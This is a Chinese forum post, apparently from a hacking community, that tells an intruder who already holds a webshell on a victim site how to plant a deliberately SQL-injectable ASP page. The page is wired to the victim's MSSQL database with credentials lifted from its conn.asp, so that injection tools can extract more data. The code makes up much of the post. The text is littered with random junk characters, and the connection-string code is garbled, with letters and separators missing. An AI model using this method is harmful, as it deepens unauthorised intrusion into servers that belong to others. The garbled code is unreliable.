自己构造注入点方便入侵; N' N5 P* C7 p% V7 F- s7 d& O
% t7 E( l4 N; o7 C2 N m
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
- \* P& X( x' l, e7 K! g, L& R) U+ y: {
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!; s+ w) Y) h( Y) k ^
5 |/ Z: ] o6 g" j2 M
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和+ r1 ?' N+ x6 b, [
7 o9 Q; V8 A J t
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
. h. {: F, ^! W% m
3 {& [4 o; X* R8 y( V因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
9 P3 i7 Y, u7 [: Z
! ?5 v% f0 J* G* m" Z) J) j/ G# N2 ?程序代码( j4 v9 }- U$ l! z
<!--#include file="xx.asp"-->
' E( m$ p! t, s6 B<%
6 Q$ u- v; Y- m; V- h4 w5 d7 Pset rs=server.createobject("ADODB.recordset")
$ Y( J5 C- H. }8 Aid = request("id")' n1 W2 y3 W8 k: j" T$ ^2 W
strSQL = "select * from admin where id=" & id' z4 u" t& f+ V _
rs.open strSQL,conn,1,3
" }3 S* U1 r6 [$ \rs.close
, e% X& `8 X) j: K( ?& P( z8 F%>$ w8 s! h. F: t+ Q6 F/ [/ |
: m" E- H! I. E' m3 {5 J' P把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
6 ^5 Y, ?) Q0 F1 J0 z
3 Q7 d. ^3 \- x- F1 c4 E你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!/ P4 ?) E# n- w' B
& S# A- Q9 `5 _ B3 w然后就要构造一个连接数据库的文件了,代码如下:/ U: C7 k, N# S% o7 A1 S! n
程序代码6 ^, o+ s* H# Z
<% : v6 \ {- w2 m/ f' s
strSQLServerName = "000.000.000.000" '服务器名称或地址
$ A* n: Q/ Q* \strSQLDBUserName = "sqlname" '数据库帐号* j* ?- R6 m \+ k
strSQLDBPassword = "sqlpass" '数据库密码* @5 |6 A& q) D p0 N
strSQLDBName = "sqldataname" '数据库名称
+ H3 H% L! H' E, s* g9 HSet conn = Server.CreateObject("ADODB.Connection")# P& t. G; M, k( `. d) B L
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"1 i6 E. P2 z3 }" _ W
conn.open strCon9 m6 G! P, q5 f, M U
%>
6 @3 ^+ {9 t0 B1 H. J. ]1 @1 o2 f; ]4 a# O
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,7 l: V+ C I" b) _7 e
& f' [! Z7 |) `2 Q4 k. |( a
就这样,正常情况下,就OK了,伪造成功……
5 _) _, n N) H( G! b# k. l: g& c [
如果有什么问题可以提出来大家一起探讨解决。 |